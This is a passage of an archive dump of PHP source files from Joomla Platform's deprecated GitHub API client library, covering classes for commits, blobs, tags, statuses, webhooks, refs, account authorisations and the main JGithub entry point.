API Data Commits class for the Joomla Platform. * * @documentation https://developer.github.com/v3/git/commits/ * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageDataCommits extends JGithubPackage { /** * Get a single commit. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $sha The commit SHA. * * @return object */ public function get($owner, $repo, $sha) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/git/commits/' . $sha; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Method to create a commit. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $message The commit message. * @param string $tree SHA of the tree object this commit points to. * @param array $parents Array of the SHAs of the commits that were the parents of this commit. * If omitted or empty, the commit will be written as a root commit. * For a single parent, an array of one SHA should be provided. * For a merge commit, an array of more than one should be provided. * * @throws DomainException * @since 3.0.0 * * @return object */ public function create($owner, $repo, $message, $tree, array $parents = array()) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/git/commits'; $data = json_encode( array('message' => $message, 'tree' => $tree, 'parents' => $parents) ); // Send the request. return $this->processResponse( $response = $this->client->post($this->fetchUrl($path), $data), 201 ); } } PK�\�S(($joomla/github/package/data/blobs.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Data Blobs class for the Joomla Platform. * * Since blobs can be any arbitrary binary data, the input and responses for the blob API * takes an encoding parameter that can be either utf-8 or base64. If your data cannot be * losslessly sent as a UTF-8 string, you can base64 encode it. * * @documentation https://developer.github.com/v3/git/blobs/ * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageDataBlobs extends JGithubPackage { /** * Get a Blob. * * @param string $owner Repository owner. * @param string $repo Repository name. * @param string $sha The commit SHA. * * @return object */ public function get($owner, $repo, $sha) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/git/blobs/' . $sha; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Create a Blob. * * @param string $owner Repository owner. * @param string $repo Repository name. * @param string $content The content of the blob. * @param string $encoding The encoding to use. * * @return object */ public function create($owner, $repo, $content, $encoding = 'utf-8') { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/git/blobs'; $data = array( 'content' => $content, 'encoding' => $encoding, ); return $this->processResponse( $this->client->post($this->fetchUrl($path), json_encode($data)), 201 ); } } PK�\�zdNN#joomla/github/package/data/tags.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Data Tags class for the Joomla Platform. * * This tags API only deals with tag objects - so only annotated tags, not lightweight tags. * * @documentation https://developer.github.com/v3/git/tags/ * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageDataTags extends JGithubPackage { /** * Get a Tag. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $sha The SHA1 value to set the reference to. * * @since 3.3 (CMS) * * @return object */ public function get($owner, $repo, $sha) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/git/tags/' . $sha; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Create a Tag Object * * Note that creating a tag object does not create the reference that makes a tag in Git. * If you want to create an annotated tag in Git, you have to do this call to create the tag object, * and then create the refs/tags/[tag] reference. If you want to create a lightweight tag, * you simply have to create the reference - this call would be unnecessary. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $tag The tag string. * @param string $message The tag message. * @param string $object The SHA of the git object this is tagging. * @param string $type The type of the object we’re tagging. Normally this is a commit * but it can also be a tree or a blob. * @param string $taggerName The name of the author of the tag. * @param string $taggerEmail The email of the author of the tag. * @param string $taggerDate Timestamp of when this object was tagged. * * @since 3.3 (CMS) * * @return object */ public function create($owner, $repo, $tag, $message, $object, $type, $taggerName, $taggerEmail, $taggerDate) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/git/tags'; $data = array( 'tag' => $tag, 'message' => $message, 'object' => $object, 'type' => $type, 'tagger_name' => $taggerName, 'tagger_email' => $taggerEmail, 'tagger_date' => $taggerDate, ); return $this->processResponse( $this->client->post($this->fetchUrl($path), json_encode($data)), 201 ); } } PK�\��nYYjoomla/github/statuses.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API References class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubStatuses extends JGithubObject { /** * Method to create a status. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $sha The SHA1 value for which to set the status. * @param string $state The state (pending, success, error or failure). * @param string $targetUrl Optional target URL. * @param string $description Optional description for the status. * * @deprecated use repositories->statuses->create() * * @return object * * @since 3.1.4 */ public function create($user, $repo, $sha, $state, $targetUrl = null, $description = null) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/statuses/' . $sha; if (!in_array($state, array('pending', 'success', 'error', 'failure'))) { throw new InvalidArgumentException('State must be one of pending, success, error or failure.'); } // Build the request data. $data = array( 'state' => $state, ); if (!is_null($targetUrl)) { $data['target_url'] = $targetUrl; } if (!is_null($description)) { $data['description'] = $description; } // Send the request. $response = $this->client->post($this->fetchUrl($path), json_encode($data)); // Validate the response code. if ($response->code != 201) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to list statuses for an SHA. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $sha SHA1 for which to get the statuses. * * @deprecated use repositories->statuses->getList() * * @return array * * @since 3.1.4 */ public function getList($user, $repo, $sha) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/statuses/' . $sha; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } } PK�\���@@joomla/github/hooks.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Hooks class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubHooks extends JGithubObject { /** * Array containing the allowed hook events * * @var array * @since 3.1.4 */ protected $events = array( 'push', 'issues', 'issue_comment', 'commit_comment', 'pull_request', 'gollum', 'watch', 'download', 'fork', 'fork_apply', 'member', 'public', 'status', ); /** * Method to create a hook on a repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $name The name of the service being called. * @param array $config Array containing the config for the service. * @param array $events The events the hook will be triggered for. * @param boolean $active Flag to determine if the hook is active * * @deprecated use repositories->hooks->create() * * @return object * * @since 3.1.4 * @throws DomainException * @throws RuntimeException */ public function create($user, $repo, $name, array $config, array $events = array('push'), $active = true) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/hooks'; // Check to ensure all events are in the allowed list foreach ($events as $event) { if (!in_array($event, $this->events)) { throw new RuntimeException('Your events array contains an unauthorized event.'); } } $data = json_encode( array('name' => $name, 'config' => $config, 'events' => $events, 'active' => $active) ); return $this->processResponse( $this->client->post($this->fetchUrl($path), $data), 201 ); } /** * Method to delete a hook * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $id ID of the hook to delete. * * @deprecated use repositories->hooks->delete() * * @return object * * @since 3.1.4 * @throws DomainException */ public function delete($user, $repo, $id) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/hooks/' . $id; return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } /** * Method to edit a hook. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $id ID of the hook to edit. * @param string $name The name of the service being called. * @param array $config Array containing the config for the service. * @param array $events The events the hook will be triggered for. This resets the currently set list * @param array $addEvents Events to add to the hook. * @param array $removeEvents Events to remove from the hook. * @param boolean $active Flag to determine if the hook is active * * @deprecated use repositories->hooks->edit() * * @return object * * @since 3.1.4 * @throws DomainException * @throws RuntimeException */ public function edit($user, $repo, $id, $name, array $config, array $events = array('push'), array $addEvents = array(), array $removeEvents = array(), $active = true) { // Check to ensure all events are in the allowed list foreach ($events as $event) { if (!in_array($event, $this->events)) { throw new RuntimeException('Your events array contains an unauthorized event.'); } } foreach ($addEvents as $event) { if (!in_array($event, $this->events)) { throw new RuntimeException('Your active_events array contains an unauthorized event.'); } } foreach ($removeEvents as $event) { if (!in_array($event, $this->events)) { throw new RuntimeException('Your remove_events array contains an unauthorized event.'); } } // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/hooks/' . $id; $data = json_encode( array( 'name' => $name, 'config' => $config, 'events' => $events, 'add_events' => $addEvents, 'remove_events' => $removeEvents, 'active' => $active, ) ); return $this->processResponse( $this->client->patch($this->fetchUrl($path), $data) ); } /** * Method to get details about a single hook for the repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $id ID of the hook to retrieve * * @deprecated use repositories->hooks->get() * * @return object * * @since 3.1.4 * @throws DomainException */ public function get($user, $repo, $id) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/hooks/' . $id; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Method to list hooks for a repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $page Page to request * @param integer $limit Number of results to return per page * * @deprecated use repositories->hooks->getList() * * @return object * * @since 3.1.4 * @throws DomainException */ public function getList($user, $repo, $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/hooks'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Method to test a hook against the latest repository commit * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $id ID of the hook to delete * * @deprecated use repositories->hooks->test() * * @return object * * @since 3.1.4 * @throws DomainException */ public function test($user, $repo, $id) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/hooks/' . $id . '/test'; return $this->processResponse( $this->client->post($this->fetchUrl($path), json_encode('')), 204 ); } } PK�\O�)F��joomla/github/github.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Joomla Platform class for interacting with a GitHub server instance. * * @property-read JGithubPackageActivity $activity GitHub API object for activity. * @property-read JGithubPackageAuthorization $authorization GitHub API object for authorizations. * @property-read JGithubPackageData $data GitHub API object for data. * @property-read JGithubPackageGists $gists GitHub API object for gists. * @property-read JGithubPackageGitignore $gitignore GitHub API object for gitignore. * @property-read JGithubPackageIssues $issues GitHub API object for issues. * @property-read JGithubPackageMarkdown $markdown GitHub API object for markdown. * @property-read JGithubPackageOrgs $orgs GitHub API object for orgs. * @property-read JGithubPackagePulls $pulls GitHub API object for pulls. * @property-read JGithubPackageRepositories $repositories GitHub API object for repositories. * @property-read JGithubPackageSearch $search GitHub API object for search. * @property-read JGithubPackageUsers $users GitHub API object for users. * * @property-read JGithubRefs $refs Deprecated GitHub API object for references. * @property-read JGithubForks $forks Deprecated GitHub API object for forks. * @property-read JGithubCommits $commits Deprecated GitHub API object for commits. * @property-read JGithubMilestones $milestones Deprecated GitHub API object for commits. * @property-read JGithubStatuses $statuses Deprecated GitHub API object for commits. * @property-read JGithubAccount $account Deprecated GitHub API object for account references. * @property-read JGithubHooks $hooks Deprecated GitHub API object for hooks. * @property-read JGithubMeta $meta Deprecated GitHub API object for meta. * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithub { /** * @var Registry Options for the GitHub object. * @since 1.7.3 */ protected $options; /** * @var JGithubHttp The HTTP client object to use in sending HTTP requests. * @since 1.7.3 */ protected $client; /** * @var array List of known packages. * @since 3.3 (CMS) */ protected $packages = array( 'activity', 'authorization', 'data', 'gists', 'gitignore', 'issues', 'markdown', 'orgs', 'pulls', 'repositories', 'users', ); /** * @var array List of known legacy packages. * @since 3.3 (CMS) */ protected $legacyPackages = array('refs', 'forks', 'commits', 'milestones', 'statuses', 'account', 'hooks', 'meta'); /** * Constructor. * * @param Registry $options GitHub options object. * @param JGithubHttp $client The HTTP client object. * * @since 1.7.3 */ public function __construct(Registry $options = null, JGithubHttp $client = null) { $this->options = isset($options) ? $options : new Registry; $this->client = isset($client) ? $client : new JGithubHttp($this->options); // Setup the default API url if not already set. $this->options->def('api.url', 'https://api.github.com'); } /** * Magic method to lazily create API objects * * @param string $name Name of property to retrieve * * @throws RuntimeException * * @since 1.7.3 * @return JGithubObject GitHub API object (gists, issues, pulls, etc). */ public function __get($name) { if (false == in_array($name, $this->packages)) { // Check for a legacy class if (in_array($name, $this->legacyPackages)) { if (false == isset($this->$name)) { $className = 'JGithub' . ucfirst($name); $this->$name = new $className($this->options, $this->client); } return $this->$name; } throw new RuntimeException(sprintf('%1$s - Unknown package %2$s', __METHOD__, $name)); } if (false == isset($this->$name)) { $className = 'JGithubPackage' . ucfirst($name); $this->$name = new $className($this->options, $this->client); } return $this->$name; } /** * Get an option from the JGitHub instance. * * @param string $key The name of the option to get. * * @return mixed The option value. * * @since 1.7.3 */ public function getOption($key) { return $this->options->get($key); } /** * Set an option for the JGitHub instance. * * @param string $key The name of the option to set. * @param mixed $value The option value to set. * * @return JGitHub This object for method chaining. * * @since 1.7.3 */ public function setOption($key, $value) { $this->options->set($key, $value); return $this; } } PK�\��p��joomla/github/meta.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Meta class. * * @since 3.2.0 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubMeta extends JGithubObject { /** * Method to get the authorized IP addresses for services * * @return array Authorized IP addresses * * @since 3.2.0 * @throws DomainException */ public function getMeta() { // Build the request path. $path = '/meta'; $githubIps = $this->processResponse($this->client->get($this->fetchUrl($path)), 200); /* * The response body returns the IP addresses in CIDR format * Decode the response body and strip the subnet mask information prior to * returning the data to the user. We're assuming quite a bit here that all * masks will be /32 as they are as of the time of development. */ $authorizedIps = array(); foreach ($githubIps as $key => $serviceIps) { // The first level contains an array of IPs based on the service $authorizedIps[$key] = array(); foreach ($serviceIps as $serviceIp) { // The second level is each individual IP address, strip the mask here $authorizedIps[$key][] = substr($serviceIp, 0, -3); } } return $authorizedIps; } } PK�\2k�=''joomla/github/refs.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API References class for the Joomla Platform. * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubRefs extends JGithubObject { /** * Method to create an issue. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $ref The name of the fully qualified reference. * @param string $sha The SHA1 value to set this reference to. * * @deprecated use data->refs->create() * * @return object * * @since 1.7.3 */ public function create($user, $repo, $ref, $sha) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/git/refs'; // Build the request data. $data = json_encode( array( 'ref' => $ref, 'sha' => $sha, ) ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 201) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to update a reference. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $ref The reference to update. * @param string $sha The SHA1 value to set the reference to. * @param string $force Whether the update should be forced. Default to false. * * @deprecated use data->refs->edit() * * @return object * * @since 1.7.3 */ public function edit($user, $repo, $ref, $sha, $force = false) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/git/refs/' . $ref; // Create the data object. $data = new stdClass; // If a title is set add it to the data object. if ($force) { $data->force = true; } $data->sha = $sha; // Encode the request data. $data = json_encode($data); // Send the request. $response = $this->client->patch($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a reference. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $ref The reference to get. * * @deprecated use data->refs->get() * * @return object * * @since 1.7.3 */ public function get($user, $repo, $ref) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/git/refs/' . $ref; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to list references for a repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $namespace Optional sub-namespace to limit the returned references. * @param integer $page Page to request * @param integer $limit Number of results to return per page * * @deprecated use data->refs->getList() * * @return array * * @since 1.7.3 */ public function getList($user, $repo, $namespace = '', $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/git/refs' . $namespace; // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } } PK�\�A�{+{+joomla/github/commits.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Commits class for the Joomla Platform. * * @since 3.0.0 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubCommits extends JGithubObject { /** * Method to create a commit. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $message The commit message. * @param string $tree SHA of the tree object this commit points to. * @param array $parents Array of the SHAs of the commits that were the parents of this commit. * If omitted or empty, the commit will be written as a root commit. * For a single parent, an array of one SHA should be provided. * For a merge commit, an array of more than one should be provided. * * @deprecated use data->commits->create() * * @return object * * @since 3.0.0 */ public function create($user, $repo, $message, $tree, array $parents = array()) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/git/commits'; $data = json_encode( array('message' => $message, 'tree' => $tree, 'parents' => $parents) ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 201) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to create a comment on a commit. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $sha The SHA of the commit to comment on. * @param string $comment The text of the comment. * @param integer $line The line number of the commit to comment on. * @param string $filepath A relative path to the file to comment on within the commit. * @param integer $position Line index in the diff to comment on. * * @deprecated use repositories->comments->create() * * @return object * * @since 3.0.0 */ public function createCommitComment($user, $repo, $sha, $comment, $line, $filepath, $position) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/commits/' . $sha . '/comments'; $data = json_encode( array( 'body' => $comment, 'commit_id' => $sha, 'line' => (int) $line, 'path' => $filepath, 'position' => (int) $position, ) ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 201) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to delete a comment on a commit. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $id The ID of the comment to edit. * * @deprecated use repositories->comments->delete() * * @return object * * @since 3.0.0 */ public function deleteCommitComment($user, $repo, $id) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/comments/' . $id; // Send the request. $response = $this->client->delete($this->fetchUrl($path)); // Validate the response code. if ($response->code != 204) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to edit a comment on a commit. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $id The ID of the comment to edit. * @param string $comment The text of the comment. * * @deprecated use repositories->comments->edit() * * @return object * * @since 3.0.0 */ public function editCommitComment($user, $repo, $id, $comment) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/comments/' . $id; $data = json_encode( array( 'body' => $comment, ) ); // Send the request. $response = $this->client->patch($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a single commit for a repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $sha The SHA of the commit to retrieve. * @param integer $page Page to request * @param integer $limit Number of results to return per page * * @deprecated use repositories->commits->get() * * @return array * * @since 3.0.0 */ public function getCommit($user, $repo, $sha, $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/commits/' . $sha; // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a single comment on a commit. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $id ID of the comment to retrieve * * @deprecated use repositories->comments->get() * * @return array * * @since 3.0.0 */ public function getCommitComment($user, $repo, $id) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/comments/' . $id; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a list of comments for a single commit for a repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $sha The SHA of the commit to retrieve. * @param integer $page Page to request * @param integer $limit Number of results to return per page * * @deprecated use repositories->comments->getList() * * @return array * * @since 3.0.0 */ public function getCommitComments($user, $repo, $sha, $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/commits/' . $sha . '/comments'; // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a diff for two commits. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $base The base of the diff, either a commit SHA or branch. * @param string $head The head of the diff, either a commit SHA or branch. * * @deprecated use repositories->commits->compare() * * @return array * * @since 3.0.0 */ public function getDiff($user, $repo, $base, $head) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/compare/' . $base . '...' . $head; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to list commits for a repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $page Page to request * @param integer $limit Number of results to return per page * * @deprecated use repositories->commits->getList() * * @return array * * @since 3.0.0 */ public function getList($user, $repo, $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/commits'; // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a list of commit comments for a repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $page Page to request * @param integer $limit Number of results to return per page * * @deprecated use repositories->comments->getListRepository() * * @return array * * @since 3.0.0 */ public function getListComments($user, $repo, $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/comments'; // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } } PK�\ث����joomla/github/account.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Account class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubAccount extends JGithubObject { /** * Method to create an authorisation. * * @param array $scopes A list of scopes that this authorisation is in. * @param string $note A note to remind you what the OAuth token is for. * @param string $url A URL to remind you what app the OAuth token is for. * * @deprecated use authorization->create() * * @return object * * @since 3.1.4 * @throws DomainException */ public function createAuthorisation(array $scopes = array(), $note = '', $url = '') { // Build the request path. $path = '/authorizations'; $data = json_encode( array('scopes' => $scopes, 'note' => $note, 'note_url' => $url) ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 201) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to delete an authorisation * * @param integer $id ID of the authorisation to delete * * @deprecated use authorization->delete() * * @return object * * @since 3.1.4 * @throws DomainException */ public function deleteAuthorisation($id) { // Build the request path. $path = '/authorizations/' . $id; // Send the request. $response = $this->client->delete($this->fetchUrl($path)); // Validate the response code. if ($response->code != 204) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to edit an authorisation. * * @param integer $id ID of the authorisation to edit * @param array $scopes Replaces the authorisation scopes with these. * @param array $addScopes A list of scopes to add to this authorisation. * @param array $removeScopes A list of scopes to remove from this authorisation. * @param string $note A note to remind you what the OAuth token is for. * @param string $url A URL to remind you what app the OAuth token is for. * * @deprecated use authorization->edit() * * @return object * * @since 3.1.4 * @throws DomainException * @throws RuntimeException */ public function editAuthorisation($id, array $scopes = array(), array $addScopes = array(), array $removeScopes = array(), $note = '', $url = '') { // Check if more than one scopes array contains data $scopesCount = 0; if (!empty($scopes)) { $scope = 'scopes'; $scopeData = $scopes; $scopesCount++; } if (!empty($addScopes)) { $scope = 'add_scopes'; $scopeData = $addScopes; $scopesCount++; } if (!empty($removeScopes)) { $scope = 'remove_scopes'; $scopeData = $removeScopes; $scopesCount++; } // Only allowed to send data for one scope parameter if ($scopesCount >= 2) { throw new RuntimeException('You can only send one scope key in this request.'); } // Build the request path. $path = '/authorizations/' . $id; $data = json_encode( array( $scope => $scopeData, 'note' => $note, 'note_url' => $url, ) ); // Send the request. $response = $this->client->patch($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get details about an authorised application for the authenticated user. * * @param integer $id ID of the authorisation to retrieve * * @deprecated use authorization->get() * * @return object * * @since 3.1.4 * @note This method will only accept Basic Authentication * @throws DomainException */ public function getAuthorisation($id) { // Build the request path. $path = '/authorizations/' . $id; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get the authorised applications for the authenticated user. * * @deprecated use authorization->getList() * * @return object * * @since 3.1.4 * @throws DomainException * @note This method will only accept Basic Authentication */ public function getAuthorisations() { // Build the request path. $path = '/authorizations'; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get the rate limit for the authenticated user. * * @deprecated use authorization->getRateLimit() * * @return object * * @since 3.1.4 * @throws DomainException */ public function getRateLimit() { // Build the request path. $path = '/rate_limit'; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } } PK�\�<蚜� joomla/controller/controller.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Controller * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Application\AbstractApplication; /** * Joomla Platform Controller Interface * * @since 3.0.0 * @deprecated 4.0 Use the default MVC library */ interface JController extends Serializable { /** * Execute the controller. * * @return boolean True if controller finished execution, false if the controller did not * finish execution. A controller might return false if some precondition for * the controller to run has not been satisfied. * * @since 3.0.0 * @throws LogicException * @throws RuntimeException */ public function execute(); /** * Get the application object. * * @return AbstractApplication The 